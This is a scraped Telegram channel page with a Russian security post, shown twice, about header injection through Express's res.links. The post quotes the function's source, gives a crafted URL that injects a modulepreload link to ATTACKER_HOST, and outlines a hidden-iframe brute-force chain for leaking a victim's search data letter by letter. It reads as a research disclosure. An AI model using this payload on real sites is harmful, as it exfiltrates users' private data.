TG Telegram Group & Channel
Кавычка | United States America (US)
Create: Update:

Интересный вектор Client-Side атаки

Многие веб-сайты используют заголовок Link для загрузки статического контента. Иногда из этого заголовка передается параметр или устанавливается язык и т.д. Это может послужить вектором атаки на те части приложения, которые имеют функционал поиска. Часто страницы с ошибками поиска имеют отличные Link заголовки.

Если, кроме того, используется фреймворк express, то, скорее всего, ситуация становится еще хуже.

Потому что links внутри express написана так:

res.links = function(links){
var link = this.get('Link') || '';
if (link) link += ', ';
return this.set('Link', link + Object.keys(links).map(function(rel){
return '<' + links[rel] + '>; rel="' + rel + '"';
}).join(', '));
};

Путем выхода из < >, если при пустом поиске загружаются другие ссылки, можно используя поиск по внутренним данным пользователя, получать разные ответы
Следовательно можно побуквенно перебирать результаты поиска на странице, путем добавления iframe'ов
Пример с реального уязвимого сайта выглядит как-то так:

https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload",

Так что полный чейн выглядит так:
1. Направляем пользователя на наш сайт
2. На нем открываем сотни скрытых ифреймов с ссылкой выше, перебирая префикс
3. По отстукам на хост понимаем результаты поиска на странице пользователя

Разработчики express об этом уведомлены, даже CVE мне дали, но фикс будет не скоро)
(Тем более такой же чейн работает когда мы можем любым другим методом контролировать Link хедер )

>

Forwarded from Двойная кавычка (Slonser)
Интересный вектор Client-Side атаки

Многие веб-сайты используют заголовок Link для загрузки статического контента. Иногда из этого заголовка передается параметр или устанавливается язык и т.д. Это может послужить вектором атаки на те части приложения, которые имеют функционал поиска. Часто страницы с ошибками поиска имеют отличные Link заголовки.

Если, кроме того, используется фреймворк express, то, скорее всего, ситуация становится еще хуже.

Потому что links внутри express написана так:

res.links = function(links){
var link = this.get('Link') || '';
if (link) link += ', ';
return this.set('Link', link + Object.keys(links).map(function(rel){
return '<' + links[rel] + '>; rel="' + rel + '"';
}).join(', '));
};

Путем выхода из < >, если при пустом поиске загружаются другие ссылки, можно используя поиск по внутренним данным пользователя, получать разные ответы
Следовательно можно побуквенно перебирать результаты поиска на странице, путем добавления iframe'ов
Пример с реального уязвимого сайта выглядит как-то так:

https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload",

Так что полный чейн выглядит так:
1. Направляем пользователя на наш сайт
2. На нем открываем сотни скрытых ифреймов с ссылкой выше, перебирая префикс
3. По отстукам на хост понимаем результаты поиска на странице пользователя

Разработчики express об этом уведомлены, даже CVE мне дали, но фикс будет не скоро)
(Тем более такой же чейн работает когда мы можем любым другим методом контролировать Link хедер )

>


>>Click here to continue<<

Кавычка




Share with your best friend
VIEW MORE

United States America Popular Telegram Group (US)